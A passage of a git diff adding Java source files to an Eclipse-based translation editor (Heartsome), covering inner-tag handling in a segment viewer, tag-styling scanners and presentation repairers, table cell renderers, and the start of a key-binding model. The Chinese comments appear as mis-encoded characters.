//$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + if (XliffEditorParameter.getInstance().isShowNonpirnttingCharacter()) { + input = input.replaceAll(Utils.getLineSeparator(), "\n"); + input = input.replaceAll(Constants.LINE_SEPARATOR_CHARACTER + "", ""); + input = input.replaceAll(Constants.TAB_CHARACTER + "", "\t"); + input = input.replaceAll(Constants.SPACE_CHARACTER + "", " "); + } + return input; + } + + private String resetRegularString(String input) { + input = input.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll(Utils.getLineSeparator(), "\n"); + if (XliffEditorParameter.getInstance().isShowNonpirnttingCharacter()) { + input = input.replaceAll("\\n", Constants.LINE_SEPARATOR_CHARACTER + "\n"); + input = input.replaceAll("\\t", Constants.TAB_CHARACTER + ""); + input = input.replaceAll(" ", Constants.SPACE_CHARACTER + ""); + } + return input; + + } + + /** + * é‡ç½® ; + */ + public void reset() { + StyledText styledText = getTextWidget(); + Control[] children = styledText.getChildren(); + for (Control child : children) { + if (child != null && !child.isDisposed()) { + child.dispose(); + } + } + innerTagCacheList.clear(); + errorTagStart = 0; + } + + /** + * 得到实际的光标ä½ç½®ï¼ˆStyledText中的文本有一部分是已ç»è¢«è½¬æ¢æˆå†…部标记的,与XML文本的分割ä½ç½®æœ‰å·®å¼‚,因此需è¦æ­¤æ–¹æ³•å¾—到在XML中实际的分割ä½ç½®ï¼‰ + * @return 实际光标所在的ä½ç½®; + */ + public int getRealSplitOffset() { + StyledText styledText = getTextWidget(); + if (styledText == null) { + return 0; + } + return getRealSplitOffset(styledText.getCaretOffset()); + } + + /** + * æ ¹æ®ä¼ å…¥çš„光标ä½ç½®å¾—到实际的光标ä½ç½®ï¼ˆStyledText中的文本有一部分是已ç»è¢«è½¬æ¢æˆå†…部标记的,与XML文本的分割ä½ç½®æœ‰å·®å¼‚,因此需è¦æ­¤æ–¹æ³•å¾—到在XML中实际的分割ä½ç½®ï¼‰ + * @return 实际光标所在的ä½ç½®; + */ + public int getRealSplitOffset(int caretOffset) { + StyledText styledText = getTextWidget(); + if (styledText == null) { + return 0; + } + String text = styledText.getText(); + + // 当 caretOffset 之å‰æœ‰è½¬ä¹‰å­—符时,caretOffset è¦è½¬æ¢æˆå®žé™…ä½ç½® + String subText = text.substring(0, caretOffset); + subText = cleanRegularString(subText); + // 下é¢ä¸¤è¡Œä¸èƒ½é¢ å€’ + int offset = caretOffset; + caretOffset = subText.length(); + + Matcher matcher = PATTERN.matcher(styledText.getText()); + while (matcher.find()) { + String placeHolder = matcher.group(); + int start = matcher.start(); + // 当光标在标记å‰æˆ–åŽæ—¶ï¼ŒèŽ·å–实际光标ä½ç½®ä¼šæœ‰é—®é¢˜ï¼Œæ­¤å¤„添加判断 + if (start >= offset) { + return caretOffset; + } + InnerTag innerTag = InnerTagUtil.getInnerTag(innerTagCacheList, placeHolder); + if (innerTag != null) { + String tagContent = innerTag.getInnerTagBean().getContent(); + int length = tagContent.length() - placeHolder.length(); + caretOffset += length; + } + } + return caretOffset; + } + + /** + * @see net.heartsome.cat.ts.ui.innertag.ISegmentViewer#insertInnerTag(int, int) + */ + public void insertInnerTag(int tagIndex, int offset) { + StringBuffer placeHolders = new StringBuffer(); + int caretOffset = offset; + out: for (int i = 0; i < errorTagStart; i++) { + InnerTagBean innerTagBean = innerTagCacheList.get(i).getInnerTagBean(); + if (innerTagBean.getIndex() == tagIndex) { + String placeHolder = placeHolderBuilder.getPlaceHolder(null, i); + int index = -1; + if ((index = getTextWidget().getText().indexOf(placeHolder)) > -1) { + // 使用 StyledTextContent çš„ replaceTextRange 方法,ä¸ä¼šè§¦å‘æˆå¯¹åˆ é™¤æ ‡è®°çš„å¤„ç† + getTextWidget().getContent().replaceTextRange(index, placeHolder.length(), ""); + if (index < offset) { + offset -= placeHolder.length(); + caretOffset -= placeHolder.length(); + } + } + boolean isEmpty = placeHolders.length() <= 0; + switch (innerTagBean.getType()) { + case START: + placeHolders.insert(0, placeHolder); + caretOffset += placeHolder.length(); + if (isEmpty) { + break; + } else { + break out; + } + case END: + placeHolders.append(placeHolder); + if (isEmpty) { + break; + } else { + break out; + } + case STANDALONE: + placeHolders.append(placeHolder); + caretOffset += placeHolder.length(); + break out; + default: + break; + } + } + } + if (placeHolders.length() > 0) { + getUndoManager().beginCompoundChange(); // 撤销/é‡åšæŽ§åˆ¶ã€‚ + + if (placeHolders.length() == 2) { + // æˆå¯¹æ ‡è®°åŒ…裹选中内容 + placeHolders.insert(1, getSelectedPureText()); + Point p = getSelectedRange(); + getTextWidget().replaceTextRange(p.x, p.y, placeHolders.toString()); + } else { + getTextWidget().replaceTextRange(offset, 0, placeHolders.toString()); + } + getTextWidget().setCaretOffset(caretOffset); + + getUndoManager().endCompoundChange(); + } + } + + /** + * @see net.heartsome.cat.ts.ui.innertag.ISegmentViewer#getErrorTagStart() + */ + public int getErrorTagStart() { + return errorTagStart; + } + + /** + * @see net.heartsome.cat.ts.ui.innertag.ISegmentViewer#getSourceMaxTagIndex() + */ + public int getSourceMaxTagIndex() { + return sourceMaxTagIndex; + } + + /** + * 得到当å‰æ˜¾ç¤ºçš„所有内部标记控件。此 List å¯ä»¥æŽ’åºã€‚ + * @see net.heartsome.cat.ts.ui.innertag.ISegmentViewer#getCurrentInnerTags() + */ + public List getCurrentInnerTags() { + if (innerTagCacheList.isEmpty()) { + return Collections.emptyList(); + } + ArrayList currentInnerTags = new ArrayList(); + for (InnerTag innerTag : innerTagCacheList) { + if (innerTag.isVisible()) { + currentInnerTags.add(innerTag); + } + } + return currentInnerTags; + } + + /** + * 删除所有内部标记; + */ + public void clearAllInnerTags() { + if (isSource()) { + setToolTipMessage(Messages.getString("innertag.SegmentViewer.msg1")); + return; // Source 中ä¸å…许删除标记 + } + setText(getPureText()); + } + + /** + * 设置工具æç¤ºä¿¡æ¯ + * @param message + * æ示信æ¯; + */ + public void setToolTipMessage(String message) { + if (message == null) { + message = ""; + } + getTextWidget().setToolTipText(message); + } + + /** + * è®¾ç½®æ ‡è®°æ ·å¼ + * @param tagStyle + * 标记样å¼; + */ + public void setTagStyle(TagStyle tagStyle) { + if (this.tagStyle == null) { + this.tagStyle = TagStyle.getDefault(); + } + if (!this.tagStyle.equals(tagStyle)) { + this.tagStyle = tagStyle; + if (!innerTagCacheList.isEmpty()) { + for (InnerTag innerTag : innerTagCacheList) { + // innerTag.setStyle(SegmentViewer.this.tagStyle); + innerTag.pack(); // é‡æ–°è®¡ç®—标记大å°ã€‚ + } + SegmentViewer.this.invalidateTextPresentation(); // é‡æ–°è®¡ç®—并添加样å¼ã€‚ + } + } + } + + public TagStyle getTagStyle() { + return tagStyle; + } + + /** + * 得到选中的原始文本。 + * @return XML中的原始内容; + */ + public String getSelectedOriginalText() { + if (getTextWidget() == null) { + return ""; + } + String selectionText = getTextWidget().getSelectionText(); + return convertDisplayTextToOriginalText(selectionText); + } + + /** + * 得到选中的纯文本 + * @return ; + */ + public String getSelectedPureText() { + if (getTextWidget() == null) { + return ""; + } + String selectionText = getTextWidget().getSelectionText(); + return PATTERN.matcher(selectionText).replaceAll(""); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/InnerTagRule.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/InnerTagRule.java new file mode 100644 index 0000000..2287f03 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/InnerTagRule.java @@ -0,0 +1,63 @@ +package net.heartsome.cat.ts.ui.innertag.tagstyle; + +import java.util.Set; + +import org.eclipse.jface.text.rules.ICharacterScanner; +import org.eclipse.jface.text.rules.IToken; +import org.eclipse.jface.text.rules.IWordDetector; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.jface.text.rules.WordRule; + +public class InnerTagRule extends WordRule { + + public InnerTagRule(IWordDetector detector) { + super(detector); + } + + /** Buffer used for pattern detection. */ + private StringBuffer fBuffer = new StringBuffer(); + + @SuppressWarnings("unchecked") + @Override + public IToken evaluate(ICharacterScanner scanner) { + int c = scanner.read(); + if (c != ICharacterScanner.EOF && fDetector.isWordStart((char) c)) { + if (fColumn == UNDEFINED || (fColumn == scanner.getColumn() - 1)) { + fBuffer.setLength(0); + do { + fBuffer.append((char) c); + c = scanner.read(); + } while (fDetector.isWordPart((char) c) && c != ICharacterScanner.EOF); + scanner.unread(); + + String buffer = fBuffer.toString(); + IToken token = null; + Set set = fWords.keySet(); + for (String re : set) { + if (re != null && buffer.matches(re)) { + token = (IToken) fWords.get(re); + break; + } + } + + if (token != null) { // 匹é…å¹¶å¾—åˆ°æ ·å¼ + return token; + } + if (fDefaultToken.isUndefined()) { + unreadBuffer(scanner); + } + return fDefaultToken; + } + } else { + } + + scanner.unread(); + return Token.UNDEFINED; + } + + @Override + protected void unreadBuffer(ICharacterScanner scanner) { + for (int i = fBuffer.length() - 1; i >= 0; i--) + scanner.unread(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/InnerTagScanner.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/InnerTagScanner.java new file mode 100644 index 0000000..e1b092e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/InnerTagScanner.java @@ -0,0 +1,69 @@ +package net.heartsome.cat.ts.ui.innertag.tagstyle; + +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; + +import org.eclipse.jface.text.rules.IRule; +import org.eclipse.jface.text.rules.IWordDetector; +import org.eclipse.jface.text.rules.RuleBasedScanner; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.swt.graphics.GlyphMetrics; +import org.eclipse.swt.graphics.TextStyle; + +public class InnerTagScanner extends RuleBasedScanner { + + private Token tagContentToken; + + public InnerTagScanner() { + initialize(); + } + + private void initialize() { + updateToken(); + + IRule[] rules = new IRule[1]; + rules[0] = createInnerTagRule(); // 创建内部标记规则 + + setRules(rules); + } + + protected void updateToken() { + if (tagContentToken == null) { + tagContentToken = new Token(null); + } + tagContentToken.setData(createTextStyle()); + } + + private TextStyle createTextStyle() { + TextStyle style = new TextStyle(); + style.metrics = new GlyphMetrics(0, 0, 0); + return style; + } + + /** + * 创建标记正文规则 + * @return ; + */ + private IRule createInnerTagRule() { + InnerTagRule wordRule = new InnerTagRule(new InnerTagDetector()); + wordRule.addWord("[" + PlaceHolderEditModeBuilder.MIN + "-" + PlaceHolderEditModeBuilder.MAX + "]", tagContentToken); + + return wordRule; + } + + /** + * 内部标记标记内容部分的探测器 + * @author weachy + * @version + * @since JDK1.6 + */ + class InnerTagDetector implements IWordDetector { + + public boolean isWordStart(char c) { + return c >= PlaceHolderEditModeBuilder.MIN && c <= PlaceHolderEditModeBuilder.MAX; + } + + public boolean isWordPart(char c) { + return false; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/PresentationRepairer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/PresentationRepairer.java new file mode 100644 index 0000000..0ca8544 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/PresentationRepairer.java @@ -0,0 +1,140 @@ +package net.heartsome.cat.ts.ui.innertag.tagstyle; + +import static net.heartsome.cat.ts.ui.Constants.SEGMENT_LINE_SPACING; +import net.heartsome.cat.common.ui.innertag.InnerTag; +import net.heartsome.cat.ts.ui.innertag.ISegmentViewer; +import net.heartsome.cat.ts.ui.innertag.InnerTagUtil; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.jface.text.BadLocationException; +import org.eclipse.jface.text.IDocument; +import org.eclipse.jface.text.ITypedRegion; +import org.eclipse.jface.text.TextPresentation; +import org.eclipse.jface.text.presentation.IPresentationRepairer; +import org.eclipse.jface.text.rules.IToken; +import org.eclipse.jface.text.rules.ITokenScanner; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.graphics.GlyphMetrics; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.TextStyle; + +public class PresentationRepairer implements IPresentationRepairer { + + /** The document this object works on */ + protected IDocument fDocument; + /** The scanner it uses */ + protected ITokenScanner fScanner; + /** The default text style if non is returned as data by the current token */ + protected TextStyle fDefaultTextStyle; + + protected ISegmentViewer fViewer; + + public PresentationRepairer(ITokenScanner scanner, ISegmentViewer viewer) { + Assert.isNotNull(scanner); + + fViewer = viewer; + fScanner = scanner; + fDefaultTextStyle = new TextStyle(); + } + + public void setDocument(IDocument document) { + this.fDocument = document; + } + + public void createPresentation(TextPresentation presentation, ITypedRegion region) { + if (fScanner == null) { + // will be removed if deprecated constructor will be removed + addRange(presentation, region.getOffset(), region.getLength(), fDefaultTextStyle); + return; + } + + int lastStart = region.getOffset(); + int length = 0; + boolean firstToken = true; + IToken lastToken = Token.UNDEFINED; + TextStyle lastTextStyle = getTokenTextStyle(lastToken); + + fScanner.setRange(fDocument, lastStart, region.getLength()); + + while (true) { + IToken token = fScanner.nextToken(); + if (token.isEOF()) + break; + + TextStyle textStyle = getTokenTextStyle(token); + if (lastTextStyle != null && lastTextStyle.equals(textStyle)) { + length += fScanner.getTokenLength(); + firstToken = false; + } else { + if (!firstToken) + addRange(presentation, lastStart, length, lastTextStyle); + firstToken = false; + lastToken = token; + lastTextStyle = textStyle; + lastStart = fScanner.getTokenOffset(); + length = fScanner.getTokenLength(); + } + } + + addRange(presentation, lastStart, length, lastTextStyle); + } + + /** + * Returns a text style encoded in the given token. If the token's data is not null and a text style it + * is assumed that it is the encoded text style. It returns the default text style if there is no encoded text style + * found. + * @param token + * the token whose text style is to be determined + * @return the token's text style + */ + protected TextStyle getTokenTextStyle(IToken token) { + Object data = token.getData(); + if (data instanceof TextStyle) + return (TextStyle) data; + return fDefaultTextStyle; + } + + /** + * Adds style information to the given text presentation. + * @param presentation + * the text presentation to be extended + * @param offset + * the offset of the range to be styled + * @param length + * the length of the range to be styled + * @param textStyle + * the style of the range to be styled + */ + protected void addRange(TextPresentation presentation, int offset, int length, TextStyle textStyle) { + if (textStyle != null) { + + if (textStyle.metrics != null && length >= 1) { + for (int i = offset; i < offset + length; i++) { + try { + StyleRange styleRange = new StyleRange(textStyle); + String placeHolder = fDocument.get(i, 1); + InnerTag innerTag = InnerTagUtil.getInnerTag(fViewer.getInnerTagCacheList(), placeHolder); + if (innerTag != null) { + Point rect = innerTag.computeSize(SWT.DEFAULT, SWT.DEFAULT); + // int ascent = 4 * rect.height / 5 + SEGMENT_LINE_SPACING / 2; + // int descent = rect.height - ascent + SEGMENT_LINE_SPACING; + styleRange.metrics = new GlyphMetrics(rect.y, 0, rect.x + SEGMENT_LINE_SPACING * 2); + } + styleRange.start = i; + styleRange.length = 1; + presentation.addStyleRange(styleRange); + } catch (BadLocationException e) { + e.printStackTrace(); + } + } + } else { + StyleRange styleRange = new StyleRange(textStyle); + styleRange.start = offset; + styleRange.length = length; + presentation.addStyleRange(styleRange); + } + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/TagStyleConfigurator.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/TagStyleConfigurator.java new file mode 100644 index 0000000..8110fa4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/tagstyle/TagStyleConfigurator.java @@ -0,0 +1,71 @@ +package net.heartsome.cat.ts.ui.innertag.tagstyle; + +import net.heartsome.cat.ts.ui.innertag.ISegmentViewer; + +import org.eclipse.jface.text.Document; +import org.eclipse.jface.text.IDocument; +import org.eclipse.jface.text.presentation.IPresentationReconciler; +import org.eclipse.jface.text.presentation.PresentationReconciler; +import org.eclipse.jface.text.rules.IToken; +import org.eclipse.jface.text.rules.ITokenScanner; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; + +public class TagStyleConfigurator { + + public static void configure(TextLayout textLayout) { + String text = textLayout.getText(); + Document doc = new Document(text); + ITokenScanner scanner = getRecipeScanner(doc); + scanner.setRange(doc, 0, doc.getLength()); + IToken token; + while ((token = scanner.nextToken()) != Token.EOF) { + int offset = scanner.getTokenOffset(); + int length = scanner.getTokenLength(); + Object data = token.getData(); + if (data != null && data instanceof TextStyle) { + TextStyle textStyle = (TextStyle) data; + textLayout.setStyle(textStyle, offset, offset + length - 1); + } + } + } + + public static void configure(ISegmentViewer viewer) { + getPresentationReconciler(viewer); + } + + private static IPresentationReconciler getPresentationReconciler(ISegmentViewer viewer) { + // 构造函数中,已ç»é»˜è®¤è®¾ç½® IDocumentExtension3.DEFAULT_PARTITIONING + PresentationReconciler reconciler = new PresentationReconciler(); + PresentationRepairer repairer = new PresentationRepairer(getRecipeScanner(viewer.getDocument()), viewer); + reconciler.setRepairer(repairer, IDocument.DEFAULT_CONTENT_TYPE); + + reconciler.install(viewer); + return reconciler; + } + + private static ITokenScanner getRecipeScanner(final IDocument doc) { +// IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + final InnerTagScanner scanner = new InnerTagScanner(); +// store.addPropertyChangeListener(new IPropertyChangeListener() { +// +// public void propertyChange(PropertyChangeEvent event) { +// String property = event.getProperty(); +// if (IPreferenceConstants.TAG_FOREGROUND.equals(property) +// || IPreferenceConstants.TAG_BACKGROUND.equals(property)) { +// scanner.updateToken(IPreferenceConstants.TAG_FOREGROUND, IPreferenceConstants.TAG_BACKGROUND); +// +// if (doc != null) { // 刷新 +// try { +// doc.replace(doc.getLength(), 0, ""); +// } catch (BadLocationException e) { +// e.printStackTrace(); +// } +// } +// } +// } +// }); + return scanner; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/jaret/renderer/ImageCellRender.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/jaret/renderer/ImageCellRender.java new file mode 100644 index 0000000..7cff694 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/jaret/renderer/ImageCellRender.java @@ -0,0 +1,127 @@ +package net.heartsome.cat.ts.ui.jaret.renderer; + +import java.util.HashMap; +import java.util.Map; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.ImageRegistry; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.ResourceImageDescriptor; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.renderer.CellRendererBase; +import de.jaret.util.ui.table.renderer.ICellRenderer; +import de.jaret.util.ui.table.renderer.ICellStyle; +import de.jaret.util.ui.table.renderer.ObjectImageRenderer; + +/** + * 用于对å•å…ƒæ ¼è®¾ç½®å›¾ç‰‡ï¼Œå¹¶æ”¯æŒç‚¹å‡»åŽåˆ‡æ¢å›¾ç‰‡ + * @author peason + * @version + * @since JDK1.6 + */ +public class ImageCellRender extends CellRendererBase implements ICellRenderer { + + protected Map keyMap = new HashMap(); + private ImageRegistry imageRegistry; + + public ImageCellRender(Printer printer) { + super(printer); + } + + public ImageCellRender() { + super(null); + } + + /** + * Add a mapping between an object instance and an image descriptor. + * @param o + * object instance + * @param key + * string key (has to be non null an unique for this renderer) to identfy the object + * @param imageDescriptor + * image descriptor for the image + */ + public void addImageDescriptorMapping(Object o, String key, ImageDescriptor imageDescriptor) { + getImageRegistry().put(key, imageDescriptor); + keyMap.put(o, key); + } + + /** + * Add a mapping between object instance and an image ressource. + * @param o + * object instance + * @param key + * string key (has to be non null an unique for this renderer) to identfy the object + * @param ressourceName + * ressource path + */ + public void addRessourceNameMapping(Object o, String key, String ressourceName) { + ImageDescriptor imgDesc = new ResourceImageDescriptor(ressourceName, this.getClass()); + addImageDescriptorMapping(o, key, imgDesc); + } + + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + Object value = column.getValue(row); + String key = keyMap.get(value); + + if (key != null) { + Image img = null; + img = getImageRegistry().get(key); + int x = rect.x + (rect.width - scaleX(img.getBounds().width)) / 2; + int y = rect.y + (rect.height - scaleY(img.getBounds().height)) / 2; + gc.drawImage(img, 0, 0, img.getBounds().width, img.getBounds().height, x, y, scaleX(img.getBounds().width), + scaleY(img.getBounds().height)); + } else { + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_MAGENTA)); + gc.fillRectangle(rect); + gc.setBackground(bg); + } + if (drawFocus) { + drawFocus(gc, drect); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + } + + /** + * Retrieve the image registry instance. + * @return ImageRegistry + */ + private synchronized ImageRegistry getImageRegistry() { + if (imageRegistry == null) { + imageRegistry = new ImageRegistry(); + } + return imageRegistry; + } + + public ICellRenderer createPrintRenderer(Printer printer) { + ObjectImageRenderer renderer = new ObjectImageRenderer(printer); + for (Object o : keyMap.keySet()) { + String key = keyMap.get(o); + ImageDescriptor imageDesc = getImageRegistry().getDescriptor(key); + renderer.addObjectImageDescriptorMapping(o, key, imageDesc); + } + return renderer; + } + + public void dispose() { + if (imageRegistry != null) { + imageRegistry.dispose(); + } + keyMap.clear(); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/jaret/renderer/StyleTextCellRenderer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/jaret/renderer/StyleTextCellRenderer.java new file mode 100644 index 0000000..cdb185b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/jaret/renderer/StyleTextCellRenderer.java @@ -0,0 +1,131 @@ +package net.heartsome.cat.ts.ui.jaret.renderer; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.util.TextUtil; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.swt.ColorManager; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.renderer.ICellStyle; +import de.jaret.util.ui.table.renderer.TextCellRenderer; + +/** + * 用于对å•å…ƒæ ¼ä¸­çš„æ–‡æœ¬è®¾ç½®æ ·å¼ + * @author peason + * @version + * @since JDK1.6 + */ +public class StyleTextCellRenderer extends TextCellRenderer { + + private TextLayout textLayout; + + /** 添加样å¼çš„文本 */ + private String strStyleText; + + /** 设置样å¼æ—¶æ˜¯å¦åŒºåˆ†å¤§å°å†™ */ + private boolean blnIsCaseSensitive; + + /** 设置样å¼æ—¶æ˜¯å¦ä½¿ç”¨æ­£åˆ™è¡¨è¾¾å¼ */ + private boolean blnIsApplyRegular; + + private TextStyle style; + + /** + * 构造方法 + * @param strStyleText + * è¦åŠ æ ·å¼çš„文本 + * @param blnIsCaseSensitive + * 是å¦åŒºåˆ†å¤§å°å†™ + */ + public StyleTextCellRenderer(String strStyleText, boolean blnIsCaseSensitive, boolean blnIsApplyRegular,TextStyle style) { + super(); + this.strStyleText = strStyleText; + this.blnIsCaseSensitive = blnIsCaseSensitive; + this.blnIsApplyRegular = blnIsApplyRegular; + this.style = style; + } + + @Override + public void dispose() { + super.dispose(); + } + + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + super.draw(gc, jaretTable, cellStyle, drawingArea, row, column, drawFocus, selected, printing); + // Color bg = gc.getBackground(); + // Color fg = gc.getForeground(); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + String s = convertValue(row, column); + if (s != null && strStyleText != null && !strStyleText.equals("")) { + if (selected && !printing) { + Color color = ColorManager.getColorManager(Display.getCurrent()).getColor(new RGB(218, 218, 218)); + gc.setBackground(color); + } else { + gc.setBackground(getBackgroundColor(cellStyle, printing)); + } + if (textLayout == null) { + textLayout = new TextLayout(gc.getDevice()); + jaretTable.getParent().addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + textLayout.dispose(); + } + }); + } + textLayout.setText(s); + textLayout.setFont(gc.getFont()); + textLayout.setWidth(rect.width); + if (blnIsApplyRegular) { + Pattern pattern = null; + if (blnIsCaseSensitive) { + pattern = Pattern.compile(strStyleText); + } else { + pattern = Pattern.compile(strStyleText, Pattern.CASE_INSENSITIVE); + } + Matcher matcher = pattern.matcher(s); + while (matcher.find()) { + textLayout.setStyle(style, matcher.start(), matcher.end() - 1); + } + gc.fillRectangle(rect); + textLayout.draw(gc, rect.x, rect.y); + gc.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_LIST_FOREGROUND)); + } else { + int index = -1; + if (!blnIsCaseSensitive) { + index = s.toUpperCase().indexOf(strStyleText.toUpperCase()); + } else { + index = s.indexOf(strStyleText); + } + if (index != -1) { + for (int i = 1; i < s.length(); i++) { + int j = TextUtil.indexOf(s, strStyleText, i, blnIsCaseSensitive); + if (j != -1) { + textLayout.setStyle(style, j, j + strStyleText.length() - 1); + } else { + break; + } + + } + gc.fillRectangle(rect); + textLayout.draw(gc, rect.x, rect.y); + gc.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_LIST_FOREGROUND)); + } + } + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/BindingModel2.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/BindingModel2.java new file mode 100644 index 0000000..b3a732b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/BindingModel2.java @@ -0,0 +1,466 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.Map.Entry; + +import org.eclipse.core.commands.Command; +import org.eclipse.core.commands.ParameterizedCommand; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.bindings.BindingManager; +import org.eclipse.jface.bindings.TriggerSequence; +import org.eclipse.jface.bindings.keys.KeyBinding; +import org.eclipse.jface.bindings.keys.KeySequence; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.internal.keys.model.BindingElement; +import org.eclipse.ui.internal.keys.model.BindingModel; +import org.eclipse.ui.internal.keys.model.ConflictModel; +import org.eclipse.ui.internal.keys.model.ContextModel; +import org.eclipse.ui.internal.keys.model.KeyController; +import org.eclipse.ui.internal.util.Util; +import org.eclipse.ui.services.IServiceLocator; + +/** + * 修改了 BindingModel 中的 refersh 方法 + * @author peason + * @version + * @since JDK1.6 + */ +public class BindingModel2 extends BindingModel { + public static final String PROP_BINDING_ADD = "bindingAdd"; //$NON-NLS-1$ + public static final String PROP_BINDING_ELEMENT_MAP = "bindingElementMap"; //$NON-NLS-1$ + public static final String PROP_BINDING_FILTER = "bindingFilter"; //$NON-NLS-1$ + public static final String PROP_BINDING_REMOVE = "bindingRemove"; //$NON-NLS-1$ + public static final String PROP_BINDINGS = "bindings"; //$NON-NLS-1$ + public static final String PROP_CONFLICT_ELEMENT_MAP = "bindingConfictMap"; //$NON-NLS-1$ + + final static boolean deletes(final Binding del, final Binding binding) { + boolean deletes = true; + deletes &= Util.equals(del.getContextId(), binding.getContextId()); + deletes &= Util.equals(del.getTriggerSequence(), binding.getTriggerSequence()); + if (del.getLocale() != null) { + deletes &= Util.equals(del.getLocale(), binding.getLocale()); + } + if (del.getPlatform() != null) { + deletes &= Util.equals(del.getPlatform(), binding.getPlatform()); + } + deletes &= (binding.getType() == Binding.SYSTEM); + deletes &= Util.equals(del.getParameterizedCommand(), null); + + return deletes; + } + + private Collection allParameterizedCommands; + private BindingManager bindingManager; + + /** + * Holds all the {@link BindingElement} objects. + */ + private HashSet bindingElements; + + /** + * A map of {@link Binding} objects to {@link BindingElement} objects. + */ + private Map bindingToElement; + + /** + * A map of {@link ParameterizedCommand} objects to {@link BindingElement} objects. + */ + private Map commandToElement; + + /** + * @param kc + */ + public BindingModel2(KeyController kc) { + super(kc); + } + + /** + * Makes a copy of the selected element. + */ + public void copy() { + BindingElement element = (BindingElement) 